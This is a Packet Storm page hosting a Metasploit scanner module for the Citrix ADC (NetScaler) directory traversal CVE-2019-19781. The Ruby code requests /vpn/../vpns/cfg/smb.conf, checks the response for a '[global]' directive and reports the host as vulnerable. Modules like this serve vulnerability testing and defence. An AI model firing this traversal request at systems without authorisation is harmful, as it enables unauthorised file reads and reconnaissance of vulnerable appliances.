exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Citrix ADC (NetScaler) Directory Traversal Scanner

Citrix ADC (NetScaler) Directory Traversal Scanner
Posted Sep 1, 2024
Authored by Erik Wynter, Mikhail Klyuchnikov, altonjx | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC (NetScaler). It requests the smb.conf file located in the /vpns/cfg directory by issuing the request /vpn/../vpns/cfg/smb.conf. It then checks if the server is vulnerable by looking for the presence of a "[global]" directive in smb.conf, which this file should always contain.

tags | exploit
advisories | CVE-2019-19781
SHA-256 | cae093835ce24d0d662704bd016af7d61ceec7e3b179d104173227cfd5c4732f

Citrix ADC (NetScaler) Directory Traversal Scanner

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'Citrix ADC (NetScaler) Directory Traversal Scanner',
'Description' => %{
This module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC
(NetScaler). It requests the smb.conf file located in the /vpns/cfg directory by issuing the request
/vpn/../vpns/cfg/smb.conf. It then checks if the server is vulnerable by looking for the presence of
a "[global]" directive in smb.conf, which this file should always contain.
},
'Author' => [
'Mikhail Klyuchnikov', # Discovery
'Erik Wynter', # Module (@wyntererik)
'altonjx' # Module (@altonjx)
],
'References' => [
['CVE', '2019-19781'],
['URL', 'https://web.archive.org/web/20200111095223/https://support.citrix.com/article/CTX267027/'],
['URL', 'https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/']
],
'DisclosureDate' => '2019-12-17',
'License' => MSF_LICENSE,
'Notes' => {
'AKA' => ['Shitrix']
}
))

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('PATH', [true, 'Traversal path', '/vpn/../vpns/cfg/smb.conf'])
])
end

def run_host(target_host)
turi = normalize_uri(target_uri.path, datastore['PATH'])

res = send_request_cgi(
'method' => 'GET',
'uri' => turi
)

unless res
print_error("#{full_uri(turi)} - No response, target seems down.")

return Exploit::CheckCode::Unknown
end

unless res.code == 200
print_error("#{full_uri(turi)} - The target is not vulnerable to CVE-2019-19781.")
vprint_error("Obtained HTTP response code #{res.code} for #{full_uri(turi)}.")

return Exploit::CheckCode::Safe
end

if turi.end_with?('smb.conf')
unless res.headers['Content-Type'].starts_with?('text/plain') && res.body.match(/\[\s*global\s*\]/)
vprint_warning("#{turi} does not contain \"[global]\" directive.")
end
end

print_good("#{full_uri(turi)} - The target is vulnerable to CVE-2019-19781.")
msg = "Obtained HTTP response code #{res.code} for #{full_uri(turi)}. " \
"This means that access to #{turi} was obtained via directory traversal."
vprint_good(msg)

report_vuln(
host: target_host,
name: name,
refs: references,
info: msg
)

Exploit::CheckCode::Vulnerable
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close